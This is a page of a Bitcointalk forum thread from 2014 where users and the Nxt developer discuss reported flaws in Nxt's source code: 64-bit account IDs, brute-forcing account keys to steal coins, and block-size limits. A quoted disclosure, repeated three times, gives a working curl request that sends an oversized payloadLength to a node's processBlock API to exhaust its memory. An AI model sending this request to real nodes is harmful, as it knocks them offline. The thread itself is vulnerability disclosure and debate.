Bitcoin Forum
May 06, 2024, 06:53:20 AM *
News: Latest Bitcoin Core release: 27.0 [Torrent]
 
   Home   Help Search Login Register More  
Warning: One or more bitcointalk.org users have reported that they believe that the creator of this topic displays some red flags which make them high-risk. (Login to see the detailed trust ratings.) While the bitcointalk.org administration does not verify such claims, you should proceed with extreme caution.
Pages: « 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 [30] 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 »
  Print  
Author Topic: Nxt source code flaw reports  (Read 113306 times)
Jaguar0625
Sr. Member
****
Offline Offline

Activity: 299
Merit: 250


View Profile
January 07, 2014, 04:39:35 AM
 #581

initializeKeyPair returns an account id that is used to unlock an account.

However, the account number is comprised of only the first 8 bytes of the hash of the account's public key.
It was discussed since the beginning Smiley
If you do at least one transaction (even alias), account public key will be revealed to blockchain, so it protect you account from stealing.

The only problem remains is account ids collision. C-f-B promised that when such collisions appears in real life, devs just increase number of used bytes from hash.

So it's not a bug, but a feature.

I know this has been discussed before, but I was never convinced by the answer and, after looking at the code, I'm less convinced.

The collision problem is a BIG deal.
In order to remedy it, we're assuming:
(1) We can detect it happening in the wild before a lot of NXT is stolen and/or no one exploits it to steal NXT (which has proven to be false as people have already stolen from NXT accounts with simple passphrases)
(2) There is no cost in changing everyone's address in the future to accomodate extra digits (which seems like a nightmare worse than Y2K that will cause NXT a lot of harm)
(3) There appears to be a race condition if two accounts get created that map to the same account number since there is no deterministic way to determine which one will actually get created, and it would actually be possible for both accounts to exist in different parts of the network until one gets overwritten by the other (granted this is an edge case)

It seems foolish me to promote NXT as a "cryptographic" currency when:
(1) It's using a hashing function that isn't even proven to be cryptographically secure (since as I pointed out earlier a subset of a hash is not guaranteed to have the same characteristics as the entire hash)
(2) It is using a 64-bit "hash", which is substandard with respect to security

What's the feature? To make it easy for NXT to be stolen?

NEM - nem.io
"In a nutshell, the network works like a distributed timestamp server, stamping the first transaction to spend a coin. It takes advantage of the nature of information being easy to spread but hard to stifle." -- Satoshi
Advertised sites are not endorsed by the Bitcoin Forum. They may be unsafe, untrustworthy, or illegal in your jurisdiction.
1714978400
Hero Member
*
Offline Offline

Posts: 1714978400

View Profile Personal Message (Offline)

Ignore
1714978400
Reply with quote  #2

1714978400
Report to moderator
1714978400
Hero Member
*
Offline Offline

Posts: 1714978400

View Profile Personal Message (Offline)

Ignore
1714978400
Reply with quote  #2

1714978400
Report to moderator
Meizirkki
Hero Member
*****
Offline Offline

Activity: 616
Merit: 500



View Profile
January 07, 2014, 04:45:04 AM
 #582

I agree the 64 bit address space is like the millenium bug of nxt. Someone can bruteforce all adresses and set up a script to automatically scan the blockchain and steal coins that aren't yet safe.
pandaisftw
Full Member
***
Offline Offline

Activity: 224
Merit: 100


View Profile
January 07, 2014, 04:59:39 AM
 #583

might not be the right thread - you can ignore..
right now there's 1 MB needed to store 5000 transactions in transactions.nxt
how compares NXT blockchain size to BTC chainsize in the future? I guess it's similar?
when CfB talkes about possible 1000 ta/s in the future, how can any decentralized network store this?
distributed storage? HD storage and internet bandwith will not scale up infinitely.


In NXT, I believe that there is a maximum blockchain size (meaning, it will never go beyond a certain limit) because of the way proof of stake works.

NXT: 13095091276527367030
ImmortAlex
Hero Member
*****
Offline Offline

Activity: 784
Merit: 501


View Profile
January 07, 2014, 05:22:16 AM
 #584

might not be the right thread - you can ignore..
right now there's 1 MB needed to store 5000 transactions in transactions.nxt
how compares NXT blockchain size to BTC chainsize in the future? I guess it's similar?
when CfB talkes about possible 1000 ta/s in the future, how can any decentralized network store this?
distributed storage? HD storage and internet bandwith will not scale up infinitely.


In NXT, I believe that there is a maximum blockchain size (meaning, it will never go beyond a certain limit) because of the way proof of stake works.
Right now it is 231 blocks and 231 transactions (due to internal structures, nonsense in perspective), plus usual file size limit (nonsense on any modern FS).
joefox
Full Member
***
Offline Offline

Activity: 210
Merit: 100


View Profile WWW
January 07, 2014, 05:29:45 AM
 #585

Hey gang,

Any thoughts on this?  https://nextcoin.org/index.php/topic,2418.0.html

Quote
When a POST is done with "processBlock", there is no sanity check on "payloadLength". This means, an attacker could use this issue to DoS a node by keeping its heap exhausted all the time. This would trigger various OOM exceptions in other parts of the code.

Simple request causing 662.2 megs to be allocated:
curl "http://localhost:7874/nxt" -d '{"protocol": 1, "requestType": "processBlock", "version": 1, "blockTimestamp": 666, "timestamp": 666, "previousBlock": "666", "numberOfTransactions": 0, "totalAmount": 666, "totalFee": 1, "payloadLength": 662200000, "payloadHash": "deadbeef", "generatorPublicKey": "deadbeef", "generationSignature": "deadbeef", "blockSignature": "deadbeef"}'

* Tested against 0.5.0

I admin the Nxt Wiki at http://wiki.nxtcrypto.org/ Please support my work by donating to Nxt account #1234567740944417915
Come-from-Beyond (OP)
Legendary
*
Offline Offline

Activity: 2142
Merit: 1009

Newbie


View Profile
January 07, 2014, 06:29:59 AM
 #586

@CfB,
Appreciate what the team is doing. Since someone is managing the sizeable unclaimed genesis funds, can I suggest stakeholders who want to help but are unable to do so directly for lack of time, skills or other reasons be allowed to channel donations into this fund. There will be no extra work for the fund manager, just more available resources. If that's OK, I'll be the first to send the 1M Nxt pledged for s/w dev but currently sitting idle.

We should use another fund for this, more decentralization is better.
Come-from-Beyond (OP)
Legendary
*
Offline Offline

Activity: 2142
Merit: 1009

Newbie


View Profile
January 07, 2014, 06:33:34 AM
 #587

might not be the right thread - you can ignore..
right now there's 1 MB needed to store 5000 transactions in transactions.nxt
how compares NXT blockchain size to BTC chainsize in the future? I guess it's similar?
when CfB talkes about possible 1000 ta/s in the future, how can any decentralized network store this?
distributed storage? HD storage and internet bandwith will not scale up infinitely.

Service Providers will solve these problems. Annual shrinking solves the problem of evergrowing blockchain.
Come-from-Beyond (OP)
Legendary
*
Offline Offline

Activity: 2142
Merit: 1009

Newbie


View Profile
January 07, 2014, 06:35:15 AM
 #588

Two thoughts:
(1) Couldn't this lead to blacklisting good peers just due to network latency (thinking of the future when a lot of transactions are being made)?
(2) Couldn't a rouge peer send out blocks with really high difficulties to get other (good) peers blacklisted? It doesn't look like the difficulties are being validated anywhere.

1. They'll be unblacklisted after a short period of time.
2. They can't do that without providing valid blocks or being blacklisted.
Come-from-Beyond (OP)
Legendary
*
Offline Offline

Activity: 2142
Merit: 1009

Newbie


View Profile
January 07, 2014, 06:36:46 AM
 #589

initializeKeyPair returns an account id that is used to unlock an account:

Code:
case "unlockAccount":
{

String secretPhrase = req.getParameter("secretPhrase");
BigInteger accountId = user.initializeKeyPair(secretPhrase);
...

However, the account number is comprised of only the first 8 bytes of the hash of the account's public key:

Code:
BigInteger initializeKeyPair(String secretPhrase) throws Exception {

this.secretPhrase = secretPhrase;
byte[] publicKeyHash = MessageDigest.getInstance("SHA-256").digest(Crypto.getPublicKey(secretPhrase));
BigInteger bigInteger = new BigInteger(1, new byte[] {publicKeyHash[7], publicKeyHash[6], publicKeyHash[5], publicKeyHash[4], publicKeyHash[3], publicKeyHash[2], publicKeyHash[1], publicKeyHash[0]});

return bigInteger;
}

The SHA-256 hash is secure because it creates a 256-bit number and a negligible (albeit non-zero) hash collision probability. In practice, hash collisions can usually be ignored (although in this case since it is dealing with currency, the implications of a hash collision are especially concerning since people would be able to use other's money or block them from using their money.

However, by reducing the identifier from 256-bit to 32-bit the possibility for hash collisions is exponentially greater. Also, there's no guarantee that a hash algorithm (i.e. SHA-256) guarantees that subsets of its produced hashes are also hashes. What this means is that there's no guarantee that the first 32-bits of SHA-256 hashes are even as good as 32-bit hashes.

Even BitCoin addresses are much more secure in that they are 160-bit (real) hashes (http://bitcoin.stackexchange.com/questions/7724/what-happens-if-your-bitcoin-client-generates-an-address-identical-to-another-pe).

I think it's critical that we make NXT at least as secure as Bitcoin.

All 256 bits r checked after the very 1st outgoing transaction is made.
Come-from-Beyond (OP)
Legendary
*
Offline Offline

Activity: 2142
Merit: 1009

Newbie


View Profile
January 07, 2014, 06:40:02 AM
 #590

What's the feature? To make it easy for NXT to be stolen?

https://bitcointalk.org/index.php?topic=345619.msg4352067#msg4352067
Come-from-Beyond (OP)
Legendary
*
Offline Offline

Activity: 2142
Merit: 1009

Newbie


View Profile
January 07, 2014, 06:41:39 AM
 #591

Hey gang,

Any thoughts on this?  https://nextcoin.org/index.php/topic,2418.0.html

Quote
When a POST is done with "processBlock", there is no sanity check on "payloadLength". This means, an attacker could use this issue to DoS a node by keeping its heap exhausted all the time. This would trigger various OOM exceptions in other parts of the code.

Simple request causing 662.2 megs to be allocated:
curl "http://localhost:7874/nxt" -d '{"protocol": 1, "requestType": "processBlock", "version": 1, "blockTimestamp": 666, "timestamp": 666, "previousBlock": "666", "numberOfTransactions": 0, "totalAmount": 666, "totalFee": 1, "payloadLength": 662200000, "payloadHash": "deadbeef", "generatorPublicKey": "deadbeef", "generationSignature": "deadbeef", "blockSignature": "deadbeef"}'

* Tested against 0.5.0

Isn't this memory garbage collected?
Come-from-Beyond (OP)
Legendary
*
Offline Offline

Activity: 2142
Merit: 1009

Newbie


View Profile
January 07, 2014, 06:47:22 AM
 #592

(1) It's using a hashing function that isn't even proven to be cryptographically secure (since as I pointed out earlier a subset of a hash is not guaranteed to have the same characteristics as the entire hash)

From http://crypto.stackexchange.com/questions/9435/is-truncating-a-sha512-hash-to-the-first-40-characters-as-secure-as-using-sha1

Quote
As far as truncating a hash goes, that's fine. It's explicitly endorsed by the NIST, and there are hash functions in the SHA-2 family that are simple truncated variants of their full brethren: SHA-256/224, SHA-512/224, SHA-512/256, and SHA-512/384, where SHA-x/y denotes a full-length SHA-x truncated to y bits.
ImmortAlex
Hero Member
*****
Offline Offline

Activity: 784
Merit: 501


View Profile
January 07, 2014, 07:09:17 AM
 #593

Hey gang,

Any thoughts on this?  https://nextcoin.org/index.php/topic,2418.0.html

Quote
When a POST is done with "processBlock", there is no sanity check on "payloadLength". This means, an attacker could use this issue to DoS a node by keeping its heap exhausted all the time. This would trigger various OOM exceptions in other parts of the code.

Simple request causing 662.2 megs to be allocated:
curl "http://localhost:7874/nxt" -d '{"protocol": 1, "requestType": "processBlock", "version": 1, "blockTimestamp": 666, "timestamp": 666, "previousBlock": "666", "numberOfTransactions": 0, "totalAmount": 666, "totalFee": 1, "payloadLength": 662200000, "payloadHash": "deadbeef", "generatorPublicKey": "deadbeef", "generationSignature": "deadbeef", "blockSignature": "deadbeef"}'

* Tested against 0.5.0

Isn't this memory garbage collected?
It's not a matter of garbage collections.
The problem is that NSR trust some numbers from outside. Dealing with OOME is not that simple...

I'm looking through the source, and have strong feeling that payloadLength can be easily ignored at all. Ignored and throwed out from protocol.
In generateBlock() local variable is used to check on MAX_PAYLOAD_LENGTH limit, than just set to corresponding block variable.
In pushBlock() it is used in checks in the begininng, but checks easely can be done later, on transaction checking.
In loading thread and "processBlock" request it is used to create ByteBuffer with desired size, but it's always better to use dynamic-sized buffer anyway, with some checks on max size.
In "getNextBlock" request it is used to limit response, but again you can calc it dynamically with transactions.
Elsewhere it is just readed from JSON and writed back.
NxtChoice
Full Member
***
Offline Offline

Activity: 238
Merit: 100


View Profile
January 07, 2014, 08:55:40 AM
 #594

I don't know the real case in Nxt. But if the 64-bit address is cut from 256-bit address, then it should be accepted. We can expand the address if collision takes place.
Come-from-Beyond (OP)
Legendary
*
Offline Offline

Activity: 2142
Merit: 1009

Newbie


View Profile
January 07, 2014, 08:58:30 AM
 #595

Code:
if (newBaseTarget == 0) {

newBaseTarget = 1;

}


Can someone PLEASE explain why 1 was chosen for the above situation?

If I am not mistaken... this situation arises when previousBlock.baseTarget == 0 and/or lastBlock.timestamp == previousBlock.timestamp.


thnx   Smiley

If base target is 0 then blocks can't be generated. This problem can arise if u calculate 1/2 using integers.
ImmortAlex
Hero Member
*****
Offline Offline

Activity: 784
Merit: 501


View Profile
January 07, 2014, 09:17:20 AM
 #596

C-f-B, do you know why we have 900 blocks per day, not 1440? This rate is stable for many days.
I'm trying to find some flaws in target/hit calculations, but have no good thoughts still.
ImmortAlex
Hero Member
*****
Offline Offline

Activity: 784
Merit: 501


View Profile
January 07, 2014, 09:21:08 AM
 #597

If base target is 0 then blocks can't be generated. This problem can arise if u calculate 1/2 using integers.

I see... but why the 1 as opposed to other assignments like maxBaseTarget?
Because when you divide 1/2 you must not get 153722867000000000 Smiley
Come-from-Beyond (OP)
Legendary
*
Offline Offline

Activity: 2142
Merit: 1009

Newbie


View Profile
January 07, 2014, 09:22:43 AM
 #598

C-f-B, do you know why we have 900 blocks per day, not 1440? This rate is stable for many days.
I'm trying to find some flaws in target/hit calculations, but have no good thoughts still.

This shows stability of the network, currently it's 63% (900/1440). We'll see ~100% when TF unleashes its full potential.
Meizirkki
Hero Member
*****
Offline Offline

Activity: 616
Merit: 500



View Profile
January 07, 2014, 10:37:45 AM
 #599

All 256 bits r checked after the very 1st outgoing transaction is made.
This is not a solution IMO. 2^64 is "only" 18446744073709551616 addresses. If not already possible, it isn't going to take many years for someone to gain the ability bruteforce and store keys to all of these addresses and automatically empty any "new" Nxt account whenever it's "made".

Unless ofc I'm missing something. Huh Do tell if I am.
Come-from-Beyond (OP)
Legendary
*
Offline Offline

Activity: 2142
Merit: 1009

Newbie


View Profile
January 07, 2014, 10:46:41 AM
 #600

All 256 bits r checked after the very 1st outgoing transaction is made.
This is not a solution IMO. 2^64 is "only" 18446744073709551616 addresses. If not already possible, it isn't going to take many years for someone to gain the ability bruteforce and store keys to all of these addresses and automatically empty any "new" Nxt account whenever it's "made".

Unless ofc I'm missing something. Huh Do tell if I am.

Difficulty to hack any of such accounts ~ 271/numberOfAccounts of SHA256 operations.

Edit: U can't compare this to Bitcoin network coz there r no ASICs implementing Curve25519 yet.
Pages: « 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 [30] 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 »
  Print  
 
Jump to:  

Powered by MySQL Powered by PHP Powered by SMF 1.1.19 | SMF © 2006-2009, Simple Machines Valid XHTML 1.0! Valid CSS!